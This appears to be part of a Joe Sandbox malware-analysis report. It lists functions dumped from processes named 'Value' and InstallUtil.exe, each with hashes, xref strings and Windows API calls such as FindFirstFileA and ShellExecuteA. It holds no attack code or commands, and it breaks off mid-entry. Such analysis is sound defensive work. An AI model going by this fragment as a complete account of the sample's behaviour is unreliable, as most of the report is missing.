API ID:
String ID:
API String ID:
Opcode ID: 729ebe9584b5e05b0da962181145d2fc7c1ddc6986b179b14455343db0e24aad
Instruction ID: 470e28661a6ab864f677d541d7d020f34b6c9135aefb8105992dd5d156979a3c
Opcode Fuzzy Hash: 729ebe9584b5e05b0da962181145d2fc7c1ddc6986b179b14455343db0e24aad
Instruction Fuzzy Hash: C9E01271A09B409FD36DCF26E014592FBE2FF8A61135AC96ED09A87614C734AD41CF51

Function 08C1A3FE Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2324856589.0000000008C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8c10000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ea1b9995e902d354fe49170a44a2f1d05ea6fd34941a1ed34e8728e8b328a8a
Instruction ID: 5e6ef08a2835007d486e240e903304c8088a7aee8e13f688793911c994a64b08
Opcode Fuzzy Hash: 8ea1b9995e902d354fe49170a44a2f1d05ea6fd34941a1ed34e8728e8b328a8a
Instruction Fuzzy Hash: 93E0E578A01219CBE720EF68E5A5BADBBB2EF89301F1041A89049A7A44DA342D809F10

Function 08C1ABBE Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2324856589.0000000008C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8c10000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0001ed8d9c428dc456b6096b27d8bb81cb7cd6ea0aaaded9d56bb1980141dc3b
Instruction ID: 032c9113d43cb9051124d138a0c3b332624eebc9475da6616676bb2297f0e726
Opcode Fuzzy Hash: 0001ed8d9c428dc456b6096b27d8bb81cb7cd6ea0aaaded9d56bb1980141dc3b
Instruction Fuzzy Hash: 05E0E5B8A09218CBDB94EBA4E8A4AEDBBB1EB85311F104198D48A67344CB712DC1CF10

Function 08C1ACE2 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2324856589.0000000008C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8c10000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 067892b6276220512110945e31e4e8f918083b282dc06ae8fe267172c95498bf
Instruction ID: 75154da71a295e7a1abf67b9e6fa090df473d5c73536e416648209d7b2455600
Opcode Fuzzy Hash: 067892b6276220512110945e31e4e8f918083b282dc06ae8fe267172c95498bf
Instruction Fuzzy Hash: D5E09A799053588FDB64EFA4E85479DB7B2FB89311F50459AD44D77784CB305D808F20

Function 08C1AC8C Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2324856589.0000000008C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8c10000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31f88b8c5620114f32c1e2ab79935e4b68ea00fc7fb8df998be73e28e94f9ea4
Instruction ID: 75cc8f4edfe1cae43da23dcb5e6682cf43a89779da55d8f1530039fada0a9dc8
Opcode Fuzzy Hash: 31f88b8c5620114f32c1e2ab79935e4b68ea00fc7fb8df998be73e28e94f9ea4
Instruction Fuzzy Hash: 39E01A78905315CFD768EF78E9557AEBBB2EF8A301F5041A8D60A67B44DB301D809F00

Function 08C1A454 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2324856589.0000000008C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8c10000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44a05f728f5faf3c812eea37f1c8374191176202d1572264acf449e0270ffed5
Instruction ID: ddff942d3d5adb20f4a3181cb07a2184dd3aed4cbdb3755a75462a23e1cdba20
Opcode Fuzzy Hash: 44a05f728f5faf3c812eea37f1c8374191176202d1572264acf449e0270ffed5
Instruction Fuzzy Hash: A1E01A78A05358CBD754EF64E854BDDBBB5EB89301F108998D44A67340DB356E858F20

Function 08C1A5E3 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2324856589.0000000008C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8c10000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fe11f68237f0db85e279dd14f8cea9edbe96107399edb70a6d5a421cd74635f
Instruction ID: 7dcc104c72679c861ec6234f6cad9f7de1585d5fad4f2c09a8ea81960614e5fb
Opcode Fuzzy Hash: 6fe11f68237f0db85e279dd14f8cea9edbe96107399edb70a6d5a421cd74635f
Instruction Fuzzy Hash: BFE01A78A0531ACFCB64EF64E4A4BADB7B1FB89311F1001A8E40967745DB301E84DF50

Function 08C1A639 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2324856589.0000000008C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8c10000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 781fe92e1edf0894ead68a637c75f0e658c8a55034648c7c2b13f433987cb035
Instruction ID: 0951906ebf0806d70acd9c5f89401bc5ddf3858bc43bc76f48445761bc6bf21b
Opcode Fuzzy Hash: 781fe92e1edf0894ead68a637c75f0e658c8a55034648c7c2b13f433987cb035
Instruction Fuzzy Hash: 35E01AB89051189FC725DF68E8A47DDBBB1FB8A305F004499D449A7380CB701E88DF00

Function 08C1A7A2 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2324856589.0000000008C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8c10000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c36adee055ff94c08e59164f49d7a9228e08532d0dd92ca4c9e9e69da9adf9d
Instruction ID: c64f984502f6d998540842f7e14777219f21b1f0b84ea75db006cf7169f44d16
Opcode Fuzzy Hash: 7c36adee055ff94c08e59164f49d7a9228e08532d0dd92ca4c9e9e69da9adf9d
Instruction Fuzzy Hash: FCE01AB8A04314CBD754EF54E494B9DB7B2EB85301F20409DD50967344DB301E848F21

Function 0A5E7F60 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326508787.000000000A5E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5e0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34d533428386e75d1a97d7a351f9928065ddbce5d9f68be9d004e92d07f0f292
Instruction ID: 925724b73352e70f22365dde42a22199edcdda8042d63e83e86ff22d34e7f05f
Opcode Fuzzy Hash: 34d533428386e75d1a97d7a351f9928065ddbce5d9f68be9d004e92d07f0f292
Instruction Fuzzy Hash: DFD0EC311042029BC719EB18E540D8BBBAAAF84300B04CE39A05646538DB74ED8ACB80

Function 0A5EEDD8 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326508787.000000000A5E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5e0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f92e92a6b391b39b10071df8a0e71442ac46257367e550c749a6c480b5d7f264
Instruction ID: c624ac5d8339d7547c8e901f6bfdda8f431c774c8361cf979f98237e17b699c5
Opcode Fuzzy Hash: f92e92a6b391b39b10071df8a0e71442ac46257367e550c749a6c480b5d7f264
Instruction Fuzzy Hash: 80D0A93200A204DFCB428F58DC94850BB79FF5A70430848AAE5049F962CB33B833EFA5

Function 0A5EFB30 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326508787.000000000A5E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5e0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f4db562e380734d0c7af1dbf94254f601835269d97f368d40375a4c7cbe66da
Instruction ID: f0e71a7494bd3085266cadaa7b3d1dd82298eca72084288613e94dd3e3a5ab71
Opcode Fuzzy Hash: 9f4db562e380734d0c7af1dbf94254f601835269d97f368d40375a4c7cbe66da
Instruction Fuzzy Hash: CBD0673511A2809FCB42CF78C894851BF61EF6761471989DAE5448B256C633AD1BDB12

Function 0A5ECBF8 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326508787.000000000A5E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5e0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52309930078a68f912ee8cd5c0fb404c45f16351dc44215663cc0fc4a61b8112
Instruction ID: f5115ae33a271937e404b5b58c14ca1d09ecf579db756575d702808928874335
Opcode Fuzzy Hash: 52309930078a68f912ee8cd5c0fb404c45f16351dc44215663cc0fc4a61b8112
Instruction Fuzzy Hash: 84D0C9BA508308AFD743DF54E448894BF78EF1A66534640D1E9848B236C3719D158B61

Function 031D30B5 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2260405731.00000000031D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_31d0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9a26e5580102be84c9a8c7390db381e4c4be237e0668f640a4c504bf137e287
Instruction ID: fa52a3cf74bd786802b36d3d6889019f109c9fb95b9ead6777df275ee19447b1
Opcode Fuzzy Hash: d9a26e5580102be84c9a8c7390db381e4c4be237e0668f640a4c504bf137e287
Instruction Fuzzy Hash: 21D0C936B052459FCB10CB9CE8615ECB720EF86239B1582A6D179C70E2C326995AC751

Function 0A5EACE1 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326508787.000000000A5E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5e0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e3ed8f25b8c540cfdfa6327580e056ce28f0be231e99118f0c080089361270a
Instruction ID: 788e198d8018a0819c3831b7ac70e1a2422f7399b0435cb14fbdffaf82730ba9
Opcode Fuzzy Hash: 3e3ed8f25b8c540cfdfa6327580e056ce28f0be231e99118f0c080089361270a
Instruction Fuzzy Hash: 6AD012B6148208AFC7028F58D844CA07F78EF1A36370580E1F9048F233D331ED14DA50

Function 08C1E700 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2324856589.0000000008C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8c10000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acde200d4a9838ec47c32c8eaae539a2165bcc61ce34de968321b12a826b94c7
Instruction ID: 0f699d95ee7c3e4ef171d8d7d27c19b7e08497be24718f19eb4bc5e29fa1d58a
Opcode Fuzzy Hash: acde200d4a9838ec47c32c8eaae539a2165bcc61ce34de968321b12a826b94c7
Instruction Fuzzy Hash: DAC08C3100A7804FCB126F30CC922803BB1EDC320C39E40EAC041CBE13C53C9249EBA2

Function 08C1AD3A Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2324856589.0000000008C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8c10000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f57bc92d2273f3852d251113aa792e627f76f282f9db366c275636ebd57ce940
Instruction ID: fbcd94ff8065d712f2474b3baf69cb7ef11a0b34e5c654debf9d9cbdc824c0f7
Opcode Fuzzy Hash: f57bc92d2273f3852d251113aa792e627f76f282f9db366c275636ebd57ce940
Instruction Fuzzy Hash: A8C08CB41072409BE700AB55E09836DBBB2EB8330BFA0840CD0822BBC8CF3019869710

Function 0A5E8423 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326508787.000000000A5E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5e0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb9ac1784354622f2883d67dce7ceebe17bb4a648ac4902318baa8eebb320e19
Instruction ID: e00df6661983488143550867e894fcd589753d8d2a2f3a8fbbb8adab46edee90
Opcode Fuzzy Hash: bb9ac1784354622f2883d67dce7ceebe17bb4a648ac4902318baa8eebb320e19
Instruction Fuzzy Hash: E0B092220592424FDB03DBF4C8A1A843BA4BD571903C404C1C082CB222C224A04A8722

Function 0A5EACF0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326508787.000000000A5E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5e0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction ID: a5ced1602b898661de329531365079a034e3d75a808f59c5ffcbefa728424f66
Opcode Fuzzy Hash: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction Fuzzy Hash: 58C0927A140208EFC700DF69E848C85BBB8EF1977171180A1FA088B332C732EC60DA94

Function 0A5EEDE8 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326508787.000000000A5E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5e0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c8bb1eb17c026008bffe112820603512fa3d5cfcfb3683583a8db5c98109eaf
Instruction ID: 4c8208191a18516a7c230fefd25334b6ce39babf348dc1344ee2eef977ff0cfe
Opcode Fuzzy Hash: 2c8bb1eb17c026008bffe112820603512fa3d5cfcfb3683583a8db5c98109eaf
Instruction Fuzzy Hash: 8DB09232010208EF8701AB88E814855BB69AB58600B048025AA09061118B33E822DA94

Function 031D1BA4 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2260405731.00000000031D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_31d0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d590cd20e1a150a31e3daecc50b5b94ecbca91f2a1b1098176b25d519c8d0bb5
Instruction ID: 09502f2993a42939e2879ef39bf0fb5829b98f74f8bd37b252598c520833963e
Opcode Fuzzy Hash: d590cd20e1a150a31e3daecc50b5b94ecbca91f2a1b1098176b25d519c8d0bb5
Instruction Fuzzy Hash: 06A002EC59520153C45CB3680A995FE8858FE8F746BC16E51530588414AF18A889C067

Function 031DD550 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2260405731.00000000031D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_31d0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f92c336e50c0fbfd7678e6aaecc41df2daa611b60c21ac3d3e0fdd7ea3ff6374
Instruction ID: 12fef52f1492fcfed0e4c678044deb2b4a76424463884d0a51e3c7001c537025
Opcode Fuzzy Hash: f92c336e50c0fbfd7678e6aaecc41df2daa611b60c21ac3d3e0fdd7ea3ff6374
Instruction Fuzzy Hash: 7D90023904861C8B86412795740B596775DA54451E7840055A50D415015B9B7424D5D9

Non-executed Functions

Function 0A5B7E60 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326295046.000000000A5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5b0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3ae949ba7a82ac8d139a809d5c1346fc29d9acaab710c1d659285beb75ba648
Instruction ID: 21cc1a36e094b46e379e8f5a666eefc5f5e7a3d6a28abbe9d408e4ba20146391
Opcode Fuzzy Hash: d3ae949ba7a82ac8d139a809d5c1346fc29d9acaab710c1d659285beb75ba648
Instruction Fuzzy Hash: 2B21FFB5C152189FCB10CFA9D980AEEFBF4FB49320F10905AE819B7210C735A941CFA4

Function 0A5B7E68 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326295046.000000000A5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5b0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1675923ac19174ec8f086eb259724c30933dcb5667ea9af80eb441ae51a25411
Instruction ID: 326cf7ff6bd29fb3a7936aa9dad2eeffd900be2e76829a59e3250ff8651d179a
Opcode Fuzzy Hash: 1675923ac19174ec8f086eb259724c30933dcb5667ea9af80eb441ae51a25411
Instruction Fuzzy Hash: 9421EFB5C152189FCB10CFA9D980AEEFBF4FB49320F10901AE819B7210C735A941CFA4

Function 0A5E6FA8 Relevance: 7.7, Strings: 6, Instructions: 153COMMON

Download Yara Rule

Strings

(aq, xrefs: 0A5E7172
paq, xrefs: 0A5E70FF
4']q, xrefs: 0A5E707A
4']q, xrefs: 0A5E705C
4']q, xrefs: 0A5E702C
4']q, xrefs: 0A5E70F2

Memory Dump Source

Source File: 0000000C.00000002.2326508787.000000000A5E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5e0000_Value.jbxd

Similarity

API ID:
String ID: (aq$4']q$4']q$4']q$4']q$paq
API String ID: 0-463314800
Opcode ID: fca670a5a0216b31ce52c776892cfb2167497a0239ab9c71477ed956c83cea36
Instruction ID: 28a418f22079cc53bc1d2d0dcaeffd7f85455a3be71f5277b818aea6c9bc9be1
Opcode Fuzzy Hash: fca670a5a0216b31ce52c776892cfb2167497a0239ab9c71477ed956c83cea36
Instruction Fuzzy Hash: 7D51B234A403058FC758DF7D9950AAFBBEBBFC8300F148969C4459B295DF789906CBA1

Function 07881AAD Relevance: 6.4, Strings: 5, Instructions: 118COMMON

Download Yara Rule

Strings

4']q, xrefs: 07881B89
Te]q, xrefs: 07881B65
4']q, xrefs: 07881B95
Te]q, xrefs: 07881B26
Te]q, xrefs: 07881B71

Memory Dump Source

Source File: 0000000C.00000002.2317896093.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7880000_Value.jbxd

Similarity

API ID:
String ID: 4']q$4']q$Te]q$Te]q$Te]q
API String ID: 0-3553797448
Opcode ID: 96c37db62ce58be9b8ac9565f8e58e5bdb0ece56620bde7c46ef09a49c441f16
Instruction ID: 768289aafc8ccaeaf27118a33eed3acf874aaf01fef6065320f2c2d666fc4568
Opcode Fuzzy Hash: 96c37db62ce58be9b8ac9565f8e58e5bdb0ece56620bde7c46ef09a49c441f16
Instruction Fuzzy Hash: CE3148F2F1420E8FCB546E39956827AB7969FA1310B14447EC405CB391FF25C853C362

Function 0A5E6827 Relevance: 5.4, Strings: 4, Instructions: 385COMMON

Download Yara Rule

Strings

Haq, xrefs: 0A5E6B83
(aq, xrefs: 0A5E6896
Haq, xrefs: 0A5E6BEB
(aq, xrefs: 0A5E686A

Memory Dump Source

Source File: 0000000C.00000002.2326508787.000000000A5E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5e0000_Value.jbxd

Similarity

API ID:
String ID: (aq$(aq$Haq$Haq
API String ID: 0-3615112956
Opcode ID: 50ed72477b976db27785270081d75e96542f63bf34202df61dcef1611e96a932
Instruction ID: eabd1737945322b5f9ea18a9c91531b874a4c3767865ef82c7a560aa7112f3a8
Opcode Fuzzy Hash: 50ed72477b976db27785270081d75e96542f63bf34202df61dcef1611e96a932
Instruction Fuzzy Hash: BDE1F0306046158FCB09DF68C490AAE7BE2FF99344F1585A8E809CF7A5CB34ED46CB91

Function 07880978 Relevance: 5.1, Strings: 4, Instructions: 55COMMON

Download Yara Rule

Strings

4']q, xrefs: 078809E3
$]q, xrefs: 078809CE
$]q, xrefs: 078809C2
4']q, xrefs: 078809EF

Memory Dump Source

Source File: 0000000C.00000002.2317896093.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7880000_Value.jbxd

Similarity

API ID:
String ID: 4']q$4']q$$]q$$]q
API String ID: 0-978391646
Opcode ID: facfa975b5dd90e3736dfb2a37842f91228f3b5a4ce6c463c0be9f69d3c541f6
Instruction ID: c77ff0329e9801859ffbcb6f3af082f1d09abeaa683a3ee78d25aeb12a282ef2
Opcode Fuzzy Hash: facfa975b5dd90e3736dfb2a37842f91228f3b5a4ce6c463c0be9f69d3c541f6
Instruction Fuzzy Hash: E401D26134E3D64FD72B2A2C1C201A66FB68FD361032A01D7D4C1DB297C8158C0D83A7

Analysis Process: InstallUtil.exePID: 5332, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	13.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.2%
Total number of Nodes:	1250
Total number of Limit Nodes:	13

Executed Functions

Function 00405080 Relevance: 4.6, APIs: 3, Instructions: 100
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,004051DB,?,?,?,?,0040523E,00000000,00405291,?,?,00000000,00000000,00000000), ref: 0040513B
FindNextFileA.KERNEL32(00000000,00000010), ref: 0040519B
FindClose.KERNEL32(00000000,00000000,00000010), ref: 004051AB

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 524fcd590759a1fbd4d207714f0cb58143cf8f2903c84afd41d3760fe214a385
Instruction ID: 84585f26add88bff0cc2ce1aee7b2e7e5f9eb71f6f66f1e556af33cdfbb1cecb
Opcode Fuzzy Hash: 524fcd590759a1fbd4d207714f0cb58143cf8f2903c84afd41d3760fe214a385
Instruction Fuzzy Hash: ED415070900508AFDB11EF95C885BDEBBB8EF89305F5044FAE404BB291D7389F459E59

Function 00404F6C Relevance: 3.0, APIs: 2, Instructions: 12
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNEL32(?,?,0040818B,00000000,00408220), ref: 00404F74
FindClose.KERNEL32(00000000,?,?,0040818B,00000000,00408220), ref: 00404F7E

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 66901251027beccf77baa5ce98e67b536316a538da170c98b5b2277659282e4c
Instruction ID: 35bd28bbec0286cbaf15e580cccf41787655d5f9f594f83c1a320a5651e29ebc
Opcode Fuzzy Hash: 66901251027beccf77baa5ce98e67b536316a538da170c98b5b2277659282e4c
Instruction Fuzzy Hash: B8C08CE480010023C80033AA8C06A27204CBAC0358F88092A7BA8F72C3C93E891040AE

Function 004078A6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004049D0: GetModuleFileNameA.KERNEL32(00000000,?,00000105,00000000,00404ADA,?,?,?,?,?,004070F9,00000000,00407126,?,00000000), ref: 00404A09

SetCurrentDirectoryA.KERNEL32(00000000), ref: 004078D0

Part of subcall function 00405008: GetTempPathA.KERNEL32(00000105,?,00000000,00405072,?,00000000), ref: 00405036

Part of subcall function 004049D0: GetCommandLineA.KERNEL32(00000000,00404ADA,?,?,?,?,?,004070F9,00000000,00407126,?,00000000,?,00408179,00000000,00408220), ref: 00404A23

ShellExecuteA.SHELL32(00400000,open,00000000,?,?,?), ref: 00407969

Strings

open, xrefs: 0040795E

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: CommandCurrentDirectoryExecuteFileLineModuleNamePathShellTemp
String ID: open
API String ID: 2622400689-2758837156
Opcode ID: fab5c3a15cb1cae7a61865492dfe33df0841a2aab3c5e5074238c8010eb0912a
Instruction ID: bc53e8da7d6e16968f2b3cdc64b9b09c5d4ffb8ac025ca0eed744acd73de400d
Opcode Fuzzy Hash: fab5c3a15cb1cae7a61865492dfe33df0841a2aab3c5e5074238c8010eb0912a
Instruction Fuzzy Hash: 83113070B107198ADB10FB79CC41A8DB779FF85308F0085F6B108BB192D67E9E858E5A

Function 00402FA4 Relevance: 3.1, APIs: 2, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00400000,?,00000000,?,00000001,00403086,004024E3,0040252B,00000000,00000000,00402460), ref: 00403029
ExitProcess.KERNEL32(00000000,?,00000000,?,00000001,00403086,004024E3,0040252B,00000000,00000000,00402460), ref: 0040305E

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: ExitFreeLibraryProcess
String ID:
API String ID: 1404682716-0
Opcode ID: ab20704e86a3c794a86d4a60a2f3f790aa59cc74fa6ee8820611fb12759a24f3
Instruction ID: 25a4abd2e023ddac5d936c147021e49c52e2d721a9332ed2c08f3b56dfe932ed
Opcode Fuzzy Hash: ab20704e86a3c794a86d4a60a2f3f790aa59cc74fa6ee8820611fb12759a24f3
Instruction Fuzzy Hash: 77218E709012018BEB20AF65C6887537AE9AF44355F24447BD844A72D6D7BCCDC0DBAA

Function 00402F9C Relevance: 3.1, APIs: 2, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00400000,?,00000000,?,00000001,00403086,004024E3,0040252B,00000000,00000000,00402460), ref: 00403029
ExitProcess.KERNEL32(00000000,?,00000000,?,00000001,00403086,004024E3,0040252B,00000000,00000000,00402460), ref: 0040305E

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: ExitFreeLibraryProcess
String ID:
API String ID: 1404682716-0
Opcode ID: e87d145c5cbc11a3b1b75d0fafe500ddba1f5edf94dcaa2e3019682a10fbe1e7
Instruction ID: 4b2d42af59d3b1d8e88fe9e31da9e43e6ca94f4fbd885f656fef1c50f2c896c1
Opcode Fuzzy Hash: e87d145c5cbc11a3b1b75d0fafe500ddba1f5edf94dcaa2e3019682a10fbe1e7
Instruction Fuzzy Hash: 1C216D709013418BEB21AF65C6883537BA9AF45315F2444BBD844A72DAD7BCCDC4CBAA

Function 00402FA0 Relevance: 3.1, APIs: 2, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00400000,?,00000000,?,00000001,00403086,004024E3,0040252B,00000000,00000000,00402460), ref: 00403029
ExitProcess.KERNEL32(00000000,?,00000000,?,00000001,00403086,004024E3,0040252B,00000000,00000000,00402460), ref: 0040305E

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

